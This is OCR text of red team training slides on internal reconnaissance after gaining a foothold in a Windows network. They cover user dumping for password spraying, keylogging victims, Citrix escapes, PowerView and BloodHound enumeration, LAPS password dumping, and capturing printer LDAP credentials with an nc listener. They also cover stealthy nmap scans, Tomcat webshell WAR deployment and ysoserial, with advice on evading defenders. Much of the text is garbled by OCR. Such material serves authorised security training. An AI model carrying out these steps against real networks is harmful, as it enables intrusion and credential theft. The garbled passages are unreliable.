A You have your shell and you are ready to discover what
IS going on in the network

A Dump all the users and emails

A Powershelhttps://aithub.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scri
pts/Utility.ps1

A CSharpttps://github.com/Mr-
Unlk0d3r/RedTeamCSharpScripts/blob/master/Idaputi

lity.exe
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Internal Reconnaissance

Theldealsto makesureyou have thebiggestsampleas possible, In
caseyoulooseaccess

You carrefine your future phishing orpasswordspraying
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You want to make sure to have emails and users to be able to perform:
A Password spraying against a bigger set of users
A Potentially target more employees, in case you lose access to the network

When dumping users, try to include the description; that may help you target
valuable assets

Password spraying should be performed against a small group of users that are
valuable
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Usually if you gained access through a phishing campaign, your shell is
most likely running on a workstation

Capturingkeystrokesand screenshotsnay help you ensure the security
team Is not interacting with the victim

Screenshot may also reveal applications used by the user and sensitive
iInformation

Keystrokes may also provide password for free
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Workstation may also provide valuable information:

Dumping the browser home

https://github.com/Mr-
Un)IlZOgBr?Rea [eamPowers

nage usually points to the intranet

nellScripts/blob/master/scriptsiGet

BrowserHomepage.psl

Bookmarks may reveal internal portal that can be used to perform lateral

movement

https://qgithub.com/Mr- _ _
Un?[ROgBHRea [eamPowershellScripts/blob/master/scriptsiGet

[EBookmarks.psl

MK 7,
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Internal Reconnaissance

A Socks proxy can be used to connect to the intranet and gather
Information about their internally exposed services

They may have a Citrix portal internally that may allow you to connect
with the user you compromised; once you launch the Citrix application,
you may find a Citrix escape and compromise a server

Extra point for Citrix: the server is usually less protected than the
endpoints
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The most typical Citrix escape
relies on the open or save
window. If you have office
software published, you can
Saol LS uUKS aaly

Right click to create a file

Then right click on the file and
NEYIFIYS AU @gAU0K
extension

M7,

I Open

N » ThisPC » Windows (C:) » Users »

Organize = MNew folder

red-team-trainir ™ MName
report [E] run.bat

[ Micreso ft Word @ run.docx
@ OneDrive

& This PC
M 3D Objects
I Desktop

==| Documents

‘ Downloads

J’! Music

| Pictures

m Videos

i Windows (C3)

=% Netwnrk

File name: |run.bat

charles.hamilton » Desktop » training v & | Searc ht

Date modified Type Size
13/11/2019 14:20 Windows Batch File 12 KB
13/11/2019 14:20 Microsoft Word D... 12 KB

View >

Sort by >

Group by >

Refresh

Paste

Paste shortcut

Undo Delete Ctrl+Z

Open in Visual Studio

Find in Files with EmEditor

Give access to b

New > Folder

Properties #| Shortcut

@ Microsoft Access Database
&l Bitmap image
5 Contact

1 @ Microsoft Word Documen t

! @ Microsoft PowerPoint Presentation
| B Microsoft Publisher Documen t

3

@ Microsoft Excel Worksheet
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Right click again to edit the file Add the command you want
to run

=| run,bat 1211/ @ run.docx
: .bat
@ rur Select N, run.ba
Open | run.bat - Notepad
Edit File Edit Format View Help
Print i-fhnami && pause

Right click and click 032 run.docx 13/11/2019 |_':::_ f'.1?-:|'n:sn::ft Nord [: 12 KB
| run.bat 13/11/2019 14:26 Windows Batch File | KB
Open to run the bat file

BN Chwindows\system32icmd.exe

C:\Usersicharles.hamilton\Desktop\training>whoami  && pause

mysite \ charles.hamilton
Press any key to continue . . .
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Citrix in thewild

Bureau

Bibliothégues

Crdinateur

L

Saved Games

~| « @& Er

k E kB °

Ma musigque Mes Mes images  Mes vidéos

I

WINDOWS

Affichage

Actualizer

Trier par
I Regrouper par
I_

Coller
Coller le raccourci
Annuler Renommer Ctrl+Z

Partager avec 3

Shonen [

| #] Raccourci

@ Microsoft Access [
Image bitmap
Contact

i< Document Micros:
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If you can browse the
Internet through a link in ="
the Citrix application, you

have access to a shell

dza A y 3
handler

M7,

O K

(’] "

= file:///Chwindows\system32\cmd.exe = =¥ | | Search... D~
Do you want to run or save emd.exe (231 KB] from 7
B This type of file could harm your computer,
Run Save | T Cancel




Internal Reconnaissance

Internal Citrix arealsogreat becauseyou canleveragenternal
passwordsprayingto accesghe Internal Citrix and compromise
Internal servers

Internal Citrix instance tend to have MFAisabled
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Quick note on Citrix:

Citrix exposes sharedfolder with all theuserf LIN2youhave a4 ©@ L
adminacces®r the permission arenisconfiguregdyou can update the
datapushedon the Citrix client

Copyinga binaryin the startup folder of the profilevill executeit on
the targeteduser session
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Other commands of interest that may help perform reconnaissance at the network
level:

A route print: Discover other networks

A nslookupDOMAINY 5 A & O2 @S NJNEI®NRDS tNapamaiddvil rat@rd
DCs

A nltest / dclist: DOMAIN List DCs including RODC and PDC. PDC may be in a more
critical subnet

A netstat can | netstat ¢a: List currently established connection

A ipconfig /all: Gather information about the networking interface. You may find a
VPN tunnel already established to their sensitive network

M7,
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Analysethe output of
the network recon
commands
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nslookup %USERDOMAINH return all theDCs

Main( [] args)

OrusingC#: :
- IPHosTENtry 1he = Dns.GetHostByName(args[e]);
ADnS.GetHOStByName IPAddress[] 1a = 1he.AddressList;

- ( i=8; i< ia.Length; i++)
ADns.Resolve {

1!
J

Console.WriteLine{"Address {1} ", 1, 1a[i1].ToString());

M7,
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Other commands of interest that may help perform reconnaissance
regarding the network:

NOTE THAT THESE ARE NOT EXTREMELY STEALTH BUT PROVIDE
VISIBILITY

BloodHound SharpHoundnd PowerViewallow you to gather
Information about users, computers, sessions, and groups

M7,



Internal Reconnaissance

You canmplement most of the featuresas standalone utility:

AG etuser LDAP (&( objectCategory =user)

AG etcom pute rs LDAP (&( objectCategory =computer)

AG et groups (&( objectCategory =group)
AGetsessions Windows APNetSessionEnum

AG etlocal admin Windows APNetLocalGroupGetMembers
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BloodHoundutility providesa lot of Samegoeswith PowerViewthere are
options.makesureyou carefullypickthe tons ofcommandghat canbe extremely
onethat will remainasstealthas possible useful butextremelynoisy
basedon your prior understandingf the

network

M7,



Internal Reconnaissance

Queryingsessions on theemote system:
AYouquerythe remote system

for(computer) {
guery computer

}

AYou aregoingto connectto a lot of assets

M7,
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PowerViewcan be used to retrieve list of local groups and users that
possess local administrative privileges

PS> Get- NetComputer | Get - NetLocalGroup

This command will retrieve the list of computers and then connect to
each of them asking for groups. This relies on the
NetLocalGroupGetMembers API
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Usergrantedwith localadministratorprivileges Groupgrantinglocal administrativearivileges

ComputerName : SECRETHOST local ComputerName : SECRETHOST local

AccountName : MYSITE god AccountName : MYSITE/Domain Admins

IsDomain : True IsDomain : True

IaGrnup : False lsGroup  : True

SID 5-1-5-21-142042000-781976021-1318725885-1883 SID : 5-1-5-21-142042000-781976021-1318725885-46104

Descriptmn : Description :
Disablea : Disabled
LastLogin :11/12/2019 2:44:38 PM LastLogin
PwdlLastSet : PwdlLastSet :
PwdExpired : PwdExpired :
UserFlags UserFlags
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The previous command will generate the output and can easily be used
02 aSINODK (GKNRdIzAK A0 2FFEAYSO L

This command may take a while to run
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The same concept can be used to find hosts where the current users
are granted with local administrative privileges

Find - LocalAdminAccess

The downside of this command is that it is perform pretty much the
SadMme a%etComputer + Get - NetLocalGroup + Invoke - CheckLocalAdminAccess ONN all

5848084 o0dzi e2dz R2y Qi 384 GKS 2d:

Meaning that every time you want to hunt a user, you will perform
the same action
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FOREXAMPLEPOWERVIEWANBEUSEDO O
LISTACTIVE SESSIONS

PS> GENETCOMPUTEREFNETSESSION

THIS COMMAND WILL RETRIEVE THE LIST OF
COMPUTERS AND THEN CONNECT TO EACH
OF THEM ASKING FOR SESBHIBIRELIES

ON THENETSESSIONENWHI
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. Get-NetDomain - gets the name of the current user’'s domain
Powe rVIeV\Dﬁe rS Get-NetForest - gets the forest associated with the current user’s domain
Get-NetForestDomain - gets all domains for the current forest
Seve ral Cmdlets Get-NetDomainController - gets the domain controllers for the current computer's domain
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
tha‘t may be qUitE Add-NetUser - adds a local or domain user
Get-NetComputer - gets a list of all current servers in the domain
Get-MNetPrinter - gets an array of all current computers objects in a domain
user| Get-NetOU - gets data for domain organization units
Get-NetSite - gets current sites in a domain
Get-MNetSubnet - gets registered subnets for a domain
Get-NetGroup - gets a list of all current groups in a domain
Get-NetGroupMember - gets a list of all current users in a specified domain group
- Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
SharpVIGV\Oﬁe rS Add-NetGroupUser - adds a local or domain user to a local or domain group
. Get-NetFileServer - get a list of file servers used by current domain users
the Same klnd Of Get-DFSshare - gets a list of all distribute file system shares on a domain
Get-NetShare - gets share information for a specified server
features Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSession - gets active sessions on a specified server
Get-NetRDPSession - gets active RDP sessions for a specified server (like guwinsta)
Get-MNetProcess - gets the remote processes and owners on a remote server
Get-UserEvent - returns logon or TGT events from the event log for a specified host
Get-ADObject - takes a domain SID and returns the user, group, or computer
object associated with it
Set-ADObject - takes a SID, name, or SamAccountMame to query for a specified

domain object, and then sets a specified 'PropertyName’ to a

specified 'PropertyValue'
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BloodHoundbffers the same kind of features, and the output (JSON)
can be linked In a neo4js system to perform query efficiently

The downside is that the json is generated on the client and it will
DROP FILESH the targets

The JSON processing is also time consuming in an average network; th
task will take at least 4 hours to complete
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hyOS @&2dz KIS 52YFAY ! RYAya ONBR
computer

Let say the intranet says that the owner of tBaperDatabases
managed by John Smith

You can search John Smitaccountname Using:

https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search
FullNameToSamAccount.psl

Search-FullNameToSamAccount
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Once you have theamaccountname, you can query logon events across DCs and
find his workstation:

https://github.com/Mr-
Unlk0d3r/RedTeamPowershellScripts/blob/master/scripts/Search
EventForUser.psl

You can search across DCs ugkigdDCIrueor force a single host usimgy
ComputerNamename

'S C:\Usersicharles.hamilton\Desktopi\tools\RedTeamPowershellScriptsiscripts> Search-EventForUser charles.hamilton
+] Enumerating all the DCs

+] DC found: . mysite.com

+] DC found: . mysite.com

+] DC found: . mysite.com

+] DC found: - calon. mysite.com

+] DC found: . mysite.com

+] DC found: . mysite.com
+] DC found: . mysite.com
+] DC found: . mysite.com
+] DC found: . mysite.com
+] DC found: . mysite.com
+] DC found: . mysite.com
+] DC found: . mysite.com
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Hunting for easy targets
Printers with default credentials

» Get-Wmidbject

Send To OneNote 2816

Microsoft Print to PDF
Fax
Brother MFC-6498CW Printer http://192.168.2.20:808/WebServices/Device

C:\Users\charles.hamilton>wmic printer get name, location
Location Name
Send To OneNote 2816
Microsoft Print to PDF
Fax
http://192.168.2.20:86/WebServices/Device Brother MFC-6498CW Printer

These printers may also have LDAP configured and expose a more privileged
account
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Simply change the LDAP server arait for the credentialsto be sent
In clear

A () &, https10.48.4.48/1dap : ) i rnidex=default B = & g

Xerox® AltaLink® C8045

Conliguration Oversew
Lot LOAP Server
b General Sabap
Comnessiisy ADS
EET
¥Login! Permissioes! Ascounting Optional Information
FApps
Search Directory Root
» Security
DCm
Login Credentials to Access LDAP Server Login Name
Cl Mone \SCsanioe
() Logged in User

: -lvp 389
listening on [any] 389 ...

10.48.4.48: inverse host lookup failed: Unknown host
connect to [10.48.4.117] from (UNKNOWN) [1©.48.4.48] 46260«
\scservice Y
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Dump user
Information
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Managed By can grant local admin without a group

(objectCategoryuser)pbjectClassuser)distinguishedNanre%manage
dBy2b)

Classic user attributes

(&(objectClassuser))
name,givenname,displayname,samaccountname,adspath,distinguished

name,memberof,ou,mail,proxyaddresses,lastiogon,pwdlastset,mobile,s
treet,userpassword
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LAPS aSSWO rd C:\Users\chamilton\Desktop>ADHunt .exe DumpComputer RINGZERS rzdc
Connecting to: LDAP://RINGZER®
uerying:

(&(objectClass=computer)(name=*rzdc))

(&(objectClasscomputer)) i . WG £27
a';ra rsystem ; Windows Server 2816 Essentials
ms-mcsAdmPwd :
adspath : LDA P fRINGZ ERB H R DC,0U=Domain Controllers,DC=RINGZER®,DC=local
objectsid ! 5-1-5-21-21553416 459??585—2?1251369—1882

Classic computer attributes

(&(objectClasscomputer))
name,displayname,operatingsystem,description,adspath,objectcategor
yserwceprmmpalname distinguishedname,cn,lastiogon,managedby,ma

nagedobjects
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Classic group attributes

(&(objectClassgroup))
name,adspath,distinguishedname,member,memberof



Internal Reconnaissance

Classic password settings attributes

(&(objectClassmsDSPasswordSettings
name,distinguishedName,msi@nimumPasswordLength,msbS
PasswordHistoryLength,msiPasswordComplexityEnabled,msDS
PasswordReversibleEncryptionEnabled,mEB&outThreshold,msbDS
PasswordSettingsPrecedence
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Classic SPN query
(&(objectcategoryrcomputer)éervicePrincipalNane))
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Nothing useful yet?

M7,
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MK 7,

A

Stillnothing?

ke .

Checkdomaintrust: you Thesedomainsmayexpose
may havebidirectionaltrust Interestingcomputers.
betweenyourdomainand Time to do the
other domains reconnaissancagainon

the other domain
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Still out of luck?

Hunt for potentially vulnerable OS. Active Directory does have an
operation system attribute

The C# utility can dump the information about all of the computers

https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

This can be run via execuéssembly too

M7,
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Usage: ldaputility.exe options domain [arguments]

ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.
ldaputility.

exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe

Set

DumpLocalAdmin RingZer® *optional*computername
DumpLocalGroup RingZer® *optional*computername
CheckAdmin RingZer® *optional*computername
DumpTrust RingZere

DumpAllUsers RingZer®

DumpUser RingZer@ mr.unlked3r

DumpUsersEmail RingZere

DumpAllComputers RingZere

DumpComputer RingZer® DCO1

DumpAllGroups RingZer®

DumpGroup RingZer® "Domain Admins”
DumpPasswordPolicy RingZere

DumpPwdlLastSet RingZer®

DumpLastLogon RingZere

CheckManaged RingZere

DumpLapsPassword RingZer® *optional®computername
DumpUserPassword RingZer®

DumpRemoteSession RingZer@ Foptional*computername
PasswordBruteForce RingZer® *optional®username (samaccountname)
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_DAP is full of surpridelapAdmircan
nelp you discover attribute you never
neard of before

http://www.ldapadmin.org/down
load/ldapadmin.htmi

MK 7,

o, Schema Viewer

g 9 Sean:h:l

account

“ 4= Object Classes

----- < account

----- < aCSPolicy

----- < aCSResourcelimits
----- < aCSSubnet

----- < addressBookContainer
----- < addressTemplate

----- < applicationEntity

----- Q applicationProcess
----- < applicationSettings
----- < applicationSiteSettings
----- < applicationVersion

----- < attributeSchema

----- < bootableDevice

----- < builtinDomain

----- < categoryRegistration
----- 4 certificationAuthority
----- < dassRegistration

----- & dassSchema

----- < dassStore

----- < comConnectionPoint
----- < computer

..... Q configuration

----- < connectionPoint

- Name: account

- Description:

- Oid: 0.9.2342.19200300.100.4.5
- Kind: Structural

- Superior: top

-Must:

* - Inherited from: top
E----il‘lStﬂl‘lEET‘_'{EE
E----nTSEI:uritr.rDesu'ipb:ur
- ghjectCategory
- bjectClass

-May:

- description
-host

1o

-ou
--zegflsn

* - Inherited from: top
- adminDescription

- adminDisplayMame
- gllowedAtiributes

- gllowedAtiributesEffective
- allowedChildClasses

- bridoeheadServerListBL

- gllowedChildClassesEffective

389
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Internal Reconnaissance

LDAPRobjectspermissionis stored in the nTSecurityDescriptor
usingthe SDDL format

This informationis accesibleto regularauthenticateddomainuser

M7,
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ﬂA;cIIﬂID;nh_

Sbc-9b87-adefe
[IIIDID_:RP_:}J :
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ntSecurityDescriptor : Group: Domain Administrators

SDDL will be translated to human readable format

https://github.com/Mr - '
Un1k0d3r/ADHuntTool/

rustee.: DHmﬂlH Hdml”lrhrqhur

\ccess Allowed
ons: | e All Proper

rustee: Domain Administrator



https://github.com/Mr-Un1k0d3r/ADHuntTool/

Internal Reconnaissance

Authenticated Users with standard ype: Access Allowed R .
. . . Permissions: List Contents|Read All Properties|List Object|Read Permissions
permission on the ObjeCt rustee: Authenticated Users

Misconfigured object Type: Object Access Allowed

Permissions: Read All Properties|kWrite All Properties
Trustee: Authenticated Users
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RUNNING EXPLOIT WARNING

We previously stated that, like your toolset, make sure you understand
how the exploit works to minimize the risk of crashing the remote
target
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Not getting anywhere?

A good start: You can try to run light scan to look for portal, usually ports
80,443,8080 and 8443

Alf you are running the scan remotely usimgap, make sure you are using
the ¢sToption (Full TCP connect option) to blend in as legitimate traffic

AFull TCP connection will look less suspicious than a syn scan

AAlways make sure you remove the pitfenonce again or your ping may be
detected as a ping sweep

AA typicalnmapscan performed during a red team:

nmap ZsT ZPn Zvwvv 7#p80,443,8080,8443 ZoA output 10.0.0.0/24
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| highly recommendwriting a smallport scannerusingC# or C

You carsimplyconnect(full TCREonnectby default) to theremote
host, usingsocket toconfirm somethingis alive on theother side
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Same technique used during the external reconnaissance can be used
to fingerprint the host using C# equivalent of aguatone through your
shell

l ljdz G2yS 6Aff G2NJ 2y 020K [ Ayd:
binary
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The reason why port 8080 and 8443 are part of the scan?

Management console

Several other ports can be used, but scan is bad when it come to red team. You ma
be able to identify server purpose by looking at the description or the name in
the Active Directory
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There are several known portals that run on port 8080

It is not rare that you will find development environment runnifigpsg Tomcat and the rest of the
family without enforcing authentication

Even if the systems are considered to be development, they may be joined to the domain exposing
domain credentials

They can be used to execute code

€ > C [} localhost:8081/manager/html w O =
CEPIE SESSIONS [ Wit e =120 [T S
Start Stop Reload Undeploy
[mana ger None specified Tomcat Manager Application true 1 - - — -
Expire sessions |with idle = 30 minutes

Deploy

Deploy directory or WAR file located on server

Context Path (required):
XML Configuration file URL:
WAR or Directory URL:

Deploy

WAR file to deploy

Select WAR file to upload | Choose File | geoserverwar

Deploy

M7,



Internal Reconnaissance

A war file Is pretty much a zip with a specific structure

Folder structure

META-IMNF
WEE-IMF
| shelljsp

web.xml inside the WEBNF folder

<web-app xZmlns xsi="http://www.w3.org/2001/XMlL.Schema-instance" xsi schemalocation="http://java.sun.com/xml/ns/j2ee http://java,
<servliet-name>JSP Shell</servliet-name>

<jsp-file>/shell.jsp</isp-filex>

< fweb-app>
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AOnceit is deployedon the serveryouwill gain codeexecutionwithin
the contextof the application

AUsually a webshellis the first stage, and canbe usedto upgrade to
a full RAT

https://ringzerOctf.com/static/cmd.war
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Tomcat, Jenkins antbossoverendpointsthat canbe usedto run
arbitrary code. You cahunt for theseusingthe followingtools

Powershell

nttps://github.com/rvrsh3ll/MiscPowershelScripts/blob/master/Finéel
Fruit.psl

C#

https://github.com/Mr-
Unlk0d3r/RedTeamCSharpScripts/blob/master/webhunter.cs
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https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Find-Fruit.ps1
https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts/blob/master/webhunter.cs

Internal Reconnaissance

Jenkinduild artifact may containsjuicy information

Build will generateartifact and test cases
# Jenkins

Plugin Manager

®» Back to Dashboard

. Manage Jenkins

M7,



Internal Reconnaissance

Typicalartifact output file

Running test for state: NY

URL :: okta.com is opened PASS

i Enter text in :: User Name Successfully Entered value :  admin PASS

; Enter text in :: Password Successfully Entered value : password PASS

! Click : Sign In Button Successfully Clicked On Sign In Button PASS

i Click : Prodcution Tile Successfully Clicked On Prodcution Tile PASS

i Click : Quotes tab Successfully Clicked On Quotes tab PASS
404
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Internal Reconnaissance

Inthis case, an automatioaccountwasusedto logininto the
production servicaisingOkta(MFA solution)

But the automationaccounthad MFAdisabled sinceit neededto be
automatedto be able to perform the check
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Internal Reconnaissance

Severabther productsmayhavesuch Neverseenthe solutionbefore? Google
featuredd 5 Begittéto playwith mayknow the defaulipassword
them if you canaccesshem with default
credentials
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Internal Reconnaissance

| did find an aircraftcontrollerO 2 y & @efa8t&&dentialsin their
online documentation

Everythingthat is connectedtend to have a portal

407



Internal Reconnaissance

Several products expose services that accept Java serialized objects

Such features allow the execution of arbitrary code on the remote
system

Java RMI (Remote Method Invocation) is acting like an RPC endpoint
but lack of authentication sometimes

Ysoseriatan be used to craft the serialized object needed
https.//github.com/frohoff/ysoserial
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Internal Reconnaissance

You can generate payload using the following command:



